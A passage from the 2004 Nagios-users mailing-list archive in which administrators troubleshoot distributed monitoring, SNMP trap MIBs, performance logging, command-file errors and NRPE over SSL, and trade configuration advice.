Processes\t1\tHello World\n" | /usr/local/nagios/libexec/send_nsca > 212.147.141.10 -c /usr/local/nagios/etc/send_nsca.cfg > > Output on slave > 1 data packet(s) sent to host successfully. > > Output on Master > Mar 11 18:14:44 host01 nsca[22845]: Handling the connection... > Mar 11 18:14:44 host01 nsca[22845]: SERVICE CHECK -> Host Name: > 'www.myhost.com', Service Description: 'Total Processes', Return Code: > '1', Output: 'Hello World' Mar 11 18:14:44 host01 nsca[22845]: End of > connection... Mar 11 18:14:45 host01 nagios: EXTERNAL COMMAND: > PROCESS_SERVICE_CHECK_RESULT;www.myhost.com;Total Processes;1;Hello > World > > I have followed the recommendations on > http://nagios.sourceforge.net/docs/1_0/distributed.html to set up a > simple distributed monitoring system. But to no avail. So I am lost. > Being speculative I have either fscked up or nagio is not calling the > ocsp_command. I'd say I have messed up, but there is no output on the > nagios log to confirm if the ocsp command is being run or not. > > Any advice welcome and much appricated. > > Yours > AJ > > Ethan Galstad, Nagios Developer --- Email: nagios at nagios.org Website: http://www.nagios.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 12 02:18:51 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 11 Mar 2004 20:18:51 -0500 (EST) Subject: Add mib files to /usr/share/snmp/mibs In-Reply-To: <018501c407ad$498fe440$2605020a@bjeyri> References: <018501c407ad$498fe440$2605020a@bjeyri> Message-ID: On Thu, 11 Mar 2004, Jeyri bautista wrote: > Thanks, I solved the problem, but now I have other problem. > > My nagios receive the traps from my routers cisco, and is running the > snmptrapd daemon to receive this traps. > > I create a snmptrapd.cong file that compare the traps received with the mibs > files, it is working very well with the mib files that was installed with > the net-snmp package, but when I add a mib file to /usr/share/snmp/mibs and > restart the snmptrapd appear the following error: > > /etc/snmp/snmptrapd.conf: line 27: Error: Bad trap OID in traphandle > directive: CISCO-ACCESS-ENVMON-MIB::caemTemperatureNotification > > and when I execute: > >> snmptranslate -Ib -On caemSupplyStatusTable -m > /usr/share/snmp/mibs/CISCO-ACCESS-ENVMON-MIB.txt > > appear the following error: > > Unlinked OID in CISCO-ACCESS-ENVMON-MIB: ciscoAccessEnvMonMIB ::= { > ciscoMgmt 61 } It cannot find a reference to ciscoMgmt which exists in the CISCO-SMI module. Add that file... -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aj.mckee at nmtbmedia.com Fri Mar 12 02:21:31 2004 From: aj.mckee at nmtbmedia.com (AJ McKee) Date: Fri, 12 Mar 2004 01:21:31 -0000 Subject: Distributed JOY (was Woes) - Passive Check Results now being submitted to Master from four slaves In-Reply-To: <4050B0FC.28344.594C27@localhost> References: <4050B0FC.28344.594C27@localhost> Message-ID: <006101c407d0$5a0c3d00$cbe8fea9@core> >If you recently enabled the 'obsess_over_services' option and you've >been using state retention, Nagios may still be using the old value >('0') instead of the one you entered in the config file. To fix >this, change the 'use_retained_program_state' variable in nagios.cfg >to 0 and restart Nagios. Joy, knew it was something silly I had done and left out. I now have four distributed hosts and one master (will need to put in another master for redundancy). Basically I have a bit of a weird setup that I expect will cause problems. The four slaves are split up. Two are on 2dedicated DSL lines provided by two separate ISP's (Dedicated as in no other traffic goes over them apart from Nagios generated) and the other two are in geographically/provider diffent data centers. The master is in another data centre. All four of the distributed hosts check the same services on the same hosts and report back to the Master server. I was worried, that perhaps I would get flapping alerts or something, but the longer I leave it to run the more it seems to iron itself out. However there is no way to weigh the result in from each distibuted server AFAICS. Initally alerts took up to a min to be detected by the Master server, however this has decreased to a few moments with SMS alerts taking about a min to arive. BTW I use a weel small perl script that generates an email and sens it to Clickatell where I purchases about 2000 sms's for about 88 Euro. Means no messing around with sms_client or anything like that, plus I get to change who the message comes from. Anyone got and ideas on how I could improve my setup? Or is it overkill? Cheers AJ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 12 02:29:04 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 11 Mar 2004 20:29:04 -0500 (EST) Subject: network with 70 switches and routers In-Reply-To: <41FD7929498A174DAB86C45F28E0EC0D3EA3E5@golden-m.mactec.com> References: <41FD7929498A174DAB86C45F28E0EC0D3EA3E5@golden-m.mactec.com> Message-ID: On Thu, 11 Mar 2004, Cook, Garry wrote: > The tftp backup plugin and the bandwidth usage are custom. I haven't > shared them yet due to the fact that they are not yet ready for prime > time. The bandwidth usage is further along, and I'm using it in > production, so I've attached it. It requires MRTG/RRD to check against. > > I'm not really ready to share the tftp backup plugin, although that is > my intention. I've tested it from the command line but not from within > Nagios. > I guess that I might as well throw it out there too. Maybe you can test > it out for me, as I'm too swamped to work on it much this week anyway. > It should work against IOS routers and switches and CatOS switches. > I'm still looking for feedback on whether or not a plugin that performs > an 'action' as opposed to a 'check' fits the standard definition of > 'plugin'. I suppose if it did not, they would be called 'checks' instead > of 'plugins', but the only ones that I see in the distro are indeed > checks. I'm considering making it check the fileage of an archived > config, and then have an included event handler upload the config to the > tftp server based on the status. But I'd rather not go this route unless > absolutely necessary. Any feedback is appreciated... > Have you looked at Rancid (www.shrubbery.net/rancid). It does a beautiful job of archiving router and switch configs. - cvs storage - email alerts with config diffs - includes hardware version/serial - includes non-default config - does not need a tftp server (perl and expect) - multivendor I tend to hookup ViewCVS to the repository and it allows me to get context diffs on all those acl lists Just a thought... -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 12 02:30:10 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 11 Mar 2004 20:30:10 -0500 (EST) Subject: Monitoring ntbackup In-Reply-To: References: Message-ID: On Thu, 11 Mar 2004, James Bowes wrote: > > Hi all. > > First let me say thanks for the responses to my previous Exchange > services question. It works as "check_nt_service!MSExchangeIS". > > One of my mates asked me if there's any way to monitor NTBackup, > specifically to see if ran when it was supposed to or not or ejected the > tape. Personally I don't know if that's the intent of using Nagios or > not... I thought I should pose the question to the list to be sure... > Does it log its message anywhere? EventLog? -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Fri Mar 12 05:33:20 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Thu, 11 Mar 2004 21:33:20 -0700 Subject: network with 70 switches and routers Message-ID: <41FD7929498A174DAB86C45F28E0EC0D0ABC82@golden-m.mactec.com> Have you looked at Rancid (www.shrubbery.net/rancid). It does a beautiful job of archiving router and switch configs. - cvs storage - email alerts with config diffs - includes hardware version/serial - includes non-default config - does not need a tftp server (perl and expect) - multivendor I tend to hookup ViewCVS to the repository and it allows me to get context diffs on all those acl lists Just a thought... -- -sg I looked into using rancid, but that was over two years ago. For some reason it didn't work out for me, so I wrote a script that used snmpset to upload the configs. It's much cleaner than expect (which I was forced to use once we started adding HP switches to the network). The config diffs sound interesting though, as well as the multivendor support (Juniper perhaps?). I might just have to take another look. Thanks for the heads up. -g -------------- next part -------------- An HTML attachment was scrubbed... URL: From jlukitsch at providentfunding.com Fri Mar 12 06:52:43 2004 From: jlukitsch at providentfunding.com (Jason Lukitsch) Date: Thu, 11 Mar 2004 21:52:43 -0800 Subject: acknowledgment comment missing Message-ID: <8B49A3ED3BA25F46A810527C8008EB6D010F9612@EX.pfloans.com> Hello all- New install of nagios-1.2-0.rh90.dag w/ nagios-plugins-1.4.0alpha1-1 Ive looked over file permissions, etc and cant nail this one. User comments arent showing up in acknowledgment messages sent to other contacts. The email and page arrives at the destination but the sent message doesnt contain any info of who sent the acknowledgment or any entered comments. If I tail the nagios.cmd file, I see the correct user info and comment as seen below $tail -f /var/log/nagios/rw/nagios.cmd [1079070567] ADD_HOST_COMMENT;ns5xt-tru-burl-ste245.corp.local;1;jason corp-burlingame;ACKNOWLEDGEMENT: we are currently looking in is issue [1079070567] ACKNOWLEDGE_HOST_PROBLEM;ns5xt-tru-burl-ste245.corp.local;1;we are currently looking in is issue The email/page then shows up as seen below: ***** Nagios ***** Host untrust-if-208.4.55.58 is DOWN! Date/Time: Thu Mar 11 21:28:07 PST 2004 Any ideas ? Thank you PS - -------------------------------------------------------------------------------------------------------------------- This email and any files transmitted with it are confidential and Intended solely for the use of the individual or entity to whom They are addressed. If you have received this email in error please notify the Originator of the message. This footer also confirms that this Email message has been scanned for the presence of computer viruses. Any views expressed in this message are those of the individual Sender, except where the sender specifies and with authority, States them to be the views of Provident Funding Associates. Scanning of this message and addition of this footer is performed By Email Filter software in conjunction with Virus detection software. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Mar 12 07:56:39 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Fri, 12 Mar 2004 01:56:39 -0500 Subject: check_http In-Reply-To: <4050A5D0.40005@sbtt.net> References: <370ACCFA5BB3B346A31222E5559BF91F03A2ED@mismail2.ena.com> <4050A5D0.40005@sbtt.net> Message-ID: <20040312015639.11261543.karl@debisschop.net> On Thu, 11 Mar 2004 12:45:52 -0500 Steve wrote: > that nailed it, thanks marc > > saw the posts regarding the -w -c switches but have a simular issue > with check_http > > someone posted a perl script back in november but I've been unable to > get it to work the way I'd like.. > > want to use -c -w within the check_http for content found from the > http request instead of response time, kinda like how snmp uses -w > -c.. > > check_http -H ip -p 1111 -a id:passwd -w 8000000 -c 10000000 -u > /check?mem > > how to define: > -w 8mb mem > -c 10mb mem limit At present, you can check for a minimum page size. You get a warning if you do not meet that size. This could be improved, but right now check_http does not have the functionality you want. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From twelsh at square-box.com Fri Mar 12 08:37:32 2004 From: twelsh at square-box.com (Tom Welsh) Date: Fri, 12 Mar 2004 07:37:32 -0000 Subject: problem with command file. variation on the normal error. Message-ID: <001601c40804$e4776da0$0400a8c0@squarebox.com> Hi All, I have the following error appearing when I try to "Schedule and immediate check for all services on this host" > Browser error: > Error: Could not stat() command file > '/usr/local/nagios/var/read/nagios.cmd'! > > The external command file may be missing, Nagios may not be running, > and/or Nagios may not be checking external commands. > > An error occurred while attempting to commit your command for > processing. Obviously I thought it was the standard permissions error on the /var/rw directory so I went through the instructions again to set the correct permissions on the external command file. Problem persisted. Ok, So next I removed the /var/rw directory recreated it started again. Same problem Reinstalled Nagios ran install command-mode, same problem I created a new directory called read/, changed the configs to point the external command to this directory, reset up permissions again. Same problem Here is my system specs I am running Solaris 8 Nagios 1.2 Plugins 1.3.1 Compiled with gcc 3.2.2 Any one seen this one before? I thought it was going to be the Normal no brainer but DUH, no. Cheers Tom Welsh squareBOX technologies ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From vincent at ahoup.net Fri Mar 12 08:57:59 2004 From: vincent at ahoup.net (Vincent Derrien) Date: Fri, 12 Mar 2004 08:57:59 +0100 Subject: Nagios performances In-Reply-To: <1079006486.7455.3.camel@floyd> References: <200403101638.22683.vincent@ahoup.net> <1079006486.7455.3.camel@floyd> Message-ID: <200403120857.59338.vincent@ahoup.net> With which lack of time between each query ? Le jeudi 11 Mars 2004 13:01, Stephen Patterson a ?crit?: > On Wed, 2004-03-10 at 15:38, Vincent Derrien wrote: > > Hello, > > > > I want to supervise a network with Nagios. I have a Pentium IV with 512mo > > of memory and a 100mb LAN. I would like to know how many computer (with > > each 10 or 20 services) i can supervise ? And do you know benchmark about > > this ? > > I've got a P4 here with 256MB RAM on a 100 Mbit network monitoring 182 > services across 89 hosts, and this runs at 0-4% CPU and I can use it as > my desktop at the same time. > > > CJ Garlands IT Dept. > Stephen Patterson > > > ________________________________________________________________________ > CJ GARLAND & CO LIMITED DISCLAIMER > > This e-mail and any files transmitted with it is confidential and intended > solely for the use of the individuals or organisations to whom it is > addressed. If you are not the intended recipient you must not open any > attachment, copy, distribute or disseminate the information nor take any > action on the basis of it; please notify the sender and delete the original > e-mail from your system(s). Opinions and conclusions expressed in this > e-mail are those of the author and are not necessarily those of CJ Garland > & Co Limited unless otherwise indicated by an authorised representative > independently of this message. Copyright in this e-mail and any attachments > remains with CJ Garland & Co Limited. This message has been scanned for > known viruses by MessageLabs? E-mail Security System on behalf of CJ > Garland & Co Limited. Recipients are strongly advised to conduct their own > virus checks on all parts of this communication upon receipt. All liability > of the sender for any loss incurred as a result of virus infection or other > destructive elements is excluded to the fullest extent permitted by law. -- Vincent Derrien vincent at ahoup.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From verdon at cict.fr Fri Mar 12 09:41:58 2004 From: verdon at cict.fr (carole verdon) Date: Fri, 12 Mar 2004 09:41:58 +0100 Subject: problem with command file. variation on the normal error. In-Reply-To: <001601c40804$e4776da0$0400a8c0@squarebox.com> References: <001601c40804$e4776da0$0400a8c0@squarebox.com> Message-ID: <405177D6.1020908@cict.fr> Do you think to restart the web server to take into account the modifications? Carole. Tom Welsh wrote: >Hi All, > >I have the following error appearing when I try to "Schedule and >immediate check for all services on this host" > > > >>Browser error: >> >> > > > >>Error: Could not stat() command file >>'/usr/local/nagios/var/read/nagios.cmd'! >> >>The external command file may be missing, Nagios may not be running, >>and/or Nagios may not be checking external commands. >> >>An error occurred while attempting to commit your command for >>processing. >> >> > > >Obviously I thought it was the standard permissions error on the /var/rw >directory so I went through the instructions again to set the correct >permissions on the external command file. Problem persisted. > >Ok, So next I removed the /var/rw directory recreated it started again. >Same problem > >Reinstalled Nagios ran install command-mode, same problem > >I created a new directory called read/, changed the configs to point the >external command to this directory, reset up permissions again. Same >problem > >Here is my system specs > >I am running >Solaris 8 >Nagios 1.2 >Plugins 1.3.1 > >Compiled with gcc 3.2.2 > >Any one seen this one before? I thought it was going to be the Normal no >brainer but DUH, no. > >Cheers > >Tom Welsh >squareBOX technologies > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > > > -- ********************************** VERDON Carole Ing??nieur Syst??me CICT - Universit?? Paul Sabatier 118, route de Narbonne 31062 Toulouse Cedex T??l.: 05.61.36.60.44 Fax: 05.61.52.14.58 Mail: verdon at cict.fr ********************************** -------------- next part -------------- An HTML attachment was scrubbed... URL: From twelsh at square-box.com Fri Mar 12 10:22:52 2004 From: twelsh at square-box.com (Tom Welsh) Date: Fri, 12 Mar 2004 09:22:52 +0000 Subject: problem with command file. variation on the normal error. In-Reply-To: <405177D6.1020908@cict.fr> References: <001601c40804$e4776da0$0400a8c0@squarebox.com> <405177D6.1020908@cict.fr> Message-ID: <20040312092252.30897.qmail@pod-163.dolphin-server.co.uk> Yep, My nagios restart script stops nagios, stops apache, starts apache then starts nagios. Thanks Tom carole verdon writes: > Do you think to restart the web server to take into account the > modifications? > > Carole. > > Tom Welsh wrote: > >> Hi All, >> >> I have the following error appearing when I try to "Schedule and >> immediate check for all services on this host" >> >> >> >>> Browser error: >>> >>> >> >> >> >>> Error: Could not stat() command file >>> '/usr/local/nagios/var/read/nagios.cmd'! >>> >>> The external command file may be missing, Nagios may not be running, >>> and/or Nagios may not be checking external commands. >>> >>> An error occurred while attempting to commit your command for >>> processing. >>> >>> >> >> >> Obviously I thought it was the standard permissions error on the /var/rw >> directory so I went through the instructions again to set the correct >> permissions on the external command file. Problem persisted. >> >> Ok, So next I removed the /var/rw directory recreated it started again. >> Same problem >> >> Reinstalled Nagios ran install command-mode, same problem >> >> I created a new directory called read/, changed the configs to point the >> external command to this directory, reset up permissions again. Same >> problem >> >> Here is my system specs >> >> I am running Solaris 8 >> Nagios 1.2 >> Plugins 1.3.1 >> >> Compiled with gcc 3.2.2 >> >> Any one seen this one before? I thought it was going to be the Normal no >> brainer but DUH, no. >> >> Cheers >> >> Tom Welsh >> squareBOX technologies >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. ::: Messages without supporting info will risk being >> sent to /dev/null >> >> >> >> > > -- > ********************************** > VERDON Carole > Ing??nieur Syst??me > CICT - Universit?? Paul Sabatier > 118, route de Narbonne > 31062 Toulouse Cedex > T??l.: 05.61.36.60.44 > Fax: 05.61.52.14.58 > Mail: verdon at cict.fr > ********************************** > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sven.schaffranneck at volkswagen.de Fri Mar 12 10:53:33 2004 From: sven.schaffranneck at volkswagen.de (Schaffranneck, Sven (K-DOI-5/4)) Date: Fri, 12 Mar 2004 10:53:33 +0100 Subject: problem with performance-log Message-ID: <09FCA2FF7E92D71186320008C71E91C6031FD15F@devwagwodx0029.wob.vw.de> Hello, i try nagios to manage a lot of servers, but have still some problems with the performance-logging. no data were written. first, i've used the default method ( ./configure --with-default-perfdata): /usr/local/nagios/etc/nagios.cfg ##################################### process_performance_data=1 host_perfdata_command=handler service_perfdata_command=handler /usr/local/nagios/etc/misccomand.cfg ##################################### define command{ command_name handler command_line /bin/touch /tmp/doener.log } but no /tmp/doener.log is created. then i used the file method ( ./configure --with-file-perfdata): /usr/local/nagios/etc/nagios.cfg ##################################### process_performance_data=1 xpdfile_host_perfdata_file=/usr/local/nagios/var/hostperf.log xpdfile_host_perfdata_template=$TIMET$\t$HOSTNAME$\t$OUTPUT$\t$PERFDATA$ xpdfile_service_perfdata_file=/usr/local/nagios/var/serviceperf.log xpdfile_service_perfdata_template=$TIMET$\t$HOSTNAME$\t$SERVICEDESC$\t$OUTPU T$\t$PERFDATA$ On Nagios start, these files were created, but no information is logged to them. I created an chech_ftp-command, for example. If i check_ftp on prompt, there is the correct performance-output ./check_ftp -H 10.10.10.1 FTP OK - 0.048 second responde ....... | time=37710us;0;0;0;10000 but these information isn't in the log-file ... anyone may help? Mit freundlichen Gr?ssen, Sven Schaffranneck K-DOI-5/4 Volkswagen AG Brieffach 1883 38436 Wolfsburg Telefon: +49 (5361) 9-3 88 58 http://www.volkswagen.de ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sven.schaffranneck at volkswagen.de Fri Mar 12 11:37:16 2004 From: sven.schaffranneck at volkswagen.de (Schaffranneck, Sven (K-DOI-5/4)) Date: Fri, 12 Mar 2004 11:37:16 +0100 Subject: SOLVED: problem with performance-log Message-ID: <09FCA2FF7E92D71186320008C71E91C6031FD161@devwagwodx0029.wob.vw.de> Hi! Well, i used the MYSQL-Support. In Table "programretention" exist the field "process_performance_data" which has an "0" in it. Eventually from the old config when i was not using the performance-logging. Mit freundlichen Gr?ssen, Sven Schaffranneck K-DOI-5/4 Volkswagen AG Brieffach 1883 38436 Wolfsburg Telefon: +49 (5361) 9-3 88 58 http://www.volkswagen.de -----Urspr?ngliche Nachricht----- Von: Schaffranneck, Sven (K-DOI-5/4) [mailto:sven.schaffranneck at volkswagen.de] Gesendet: Freitag, 12. M?rz 2004 10:54 An: 'nagios-users at lists.sourceforge.net' Betreff: [Nagios-users] problem with performance-log Hello, i try nagios to manage a lot of servers, but have still some problems with the performance-logging. no data were written. first, i've used the default method ( ./configure --with-default-perfdata): /usr/local/nagios/etc/nagios.cfg ##################################### process_performance_data=1 host_perfdata_command=handler service_perfdata_command=handler /usr/local/nagios/etc/misccomand.cfg ##################################### define command{ command_name handler command_line /bin/touch /tmp/doener.log } but no /tmp/doener.log is created. then i used the file method ( ./configure --with-file-perfdata): /usr/local/nagios/etc/nagios.cfg ##################################### process_performance_data=1 xpdfile_host_perfdata_file=/usr/local/nagios/var/hostperf.log xpdfile_host_perfdata_template=$TIMET$\t$HOSTNAME$\t$OUTPUT$\t$PERFDATA$ xpdfile_service_perfdata_file=/usr/local/nagios/var/serviceperf.log xpdfile_service_perfdata_template=$TIMET$\t$HOSTNAME$\t$SERVICEDESC$\t$OUTPU T$\t$PERFDATA$ On Nagios start, these files were created, but no information is logged to them. I created an chech_ftp-command, for example. If i check_ftp on prompt, there is the correct performance-output ./check_ftp -H 10.10.10.1 FTP OK - 0.048 second responde ....... | time=37710us;0;0;0;10000 but these information isn't in the log-file ... anyone may help? Mit freundlichen Gr?ssen, Sven Schaffranneck K-DOI-5/4 Volkswagen AG Brieffach 1883 38436 Wolfsburg Telefon: +49 (5361) 9-3 88 58 http://www.volkswagen.de ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 12 12:37:45 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 12 Mar 2004 11:37:45 +0000 Subject: volatile state stalking - snmp traps service notifications In-Reply-To: References: Message-ID: <4051A109.1010601@exponential-e.com> Noah Leaman wrote: > I have over 70,000 interfaces/ports (just the up/up ones) for which I > could receive linkDown and linkUp traps for. And this is just a sampling > of hosts on our network to pilot nagios to see if it can do what we > want. Doesn't it seem a little crazy to have to deal with that many > services even if they are passive? And this is just linkDown and linkUp. > What about all other possible traps that could be received? > There are been some good suggestions as to possible solutions to the problem using Nagios from others. The "but" is that in the end its "horses for courses" and perhaps Nagios is not suitable for a large scale network management scenario like this. I'd guess 70,000 ports in use represents a lot of devices and I'd expect a portion of the network budget to be devoted to management tools of the OpenView type. One possible different open source tool you may want to have a look at is OpenNMS. I believe this is more scalable for the scenario you describe and could be a better fit. Please don't take this as lack of faith in Nagios, I think its great and we looked at using it in conjunction with OpenView or OpenNMS. In the end the functionality we wanted had to be built, so using plugins and passive checks worked well for us. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stefano.razzauti at yogitech.com Fri Mar 12 12:40:31 2004 From: stefano.razzauti at yogitech.com (stefano razzauti) Date: Fri, 12 Mar 2004 12:40:31 +0100 Subject: use of NRPE without SSL Message-ID: <4051A1AF.3020805@yogitech.com> Hi, I compiled nrpe on a Sun Solaris host without SSL package and all goes well, but when I tried to do a check_nrpe from the Nagios server (linux) through the Solaris one I get the following error: CHECK_NRPE: Error - Could not complete SSL handshake. Is there possible to monitor remote host (with NRPE) without using SSL on the remote host? thank in advance Stefano ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Fri Mar 12 12:47:10 2004 From: noah at mac.com (Noah Leaman) Date: Fri, 12 Mar 2004 03:47:10 -0800 Subject: volatile state stalking - snmp traps service notifications In-Reply-To: <4051A109.1010601@exponential-e.com> References: <4051A109.1010601@exponential-e.com> Message-ID: yes... I am piloting nagios as a possible replacement of our already deployed openview installation. I am confident that with enough ingenuity nagios might just work... I am more confident on the server side than the network side though. I am currently soaking up the suggestions and should be making a decision soon. Thanks for the help everyone. -- Noah On Friday, March 12, 2004, at 03:37 AM, Jim Mozley wrote: > Noah Leaman wrote: > >> I have over 70,000 interfaces/ports (just the up/up ones) for which I >> could receive linkDown and linkUp traps for. And this is just a >> sampling of hosts on our network to pilot nagios to see if it can do >> what we want. Doesn't it seem a little crazy to have to deal with >> that many services even if they are passive? And this is just >> linkDown and linkUp. What about all other possible traps that could >> be received? > > There are been some good suggestions as to possible solutions to the > problem using Nagios from others. The "but" is that in the end its > "horses for courses" and perhaps Nagios is not suitable for a large > scale network management scenario like this. > > I'd guess 70,000 ports in use represents a lot of devices and I'd > expect a portion of the network budget to be devoted to management > tools of the OpenView type. > > One possible different open source tool you 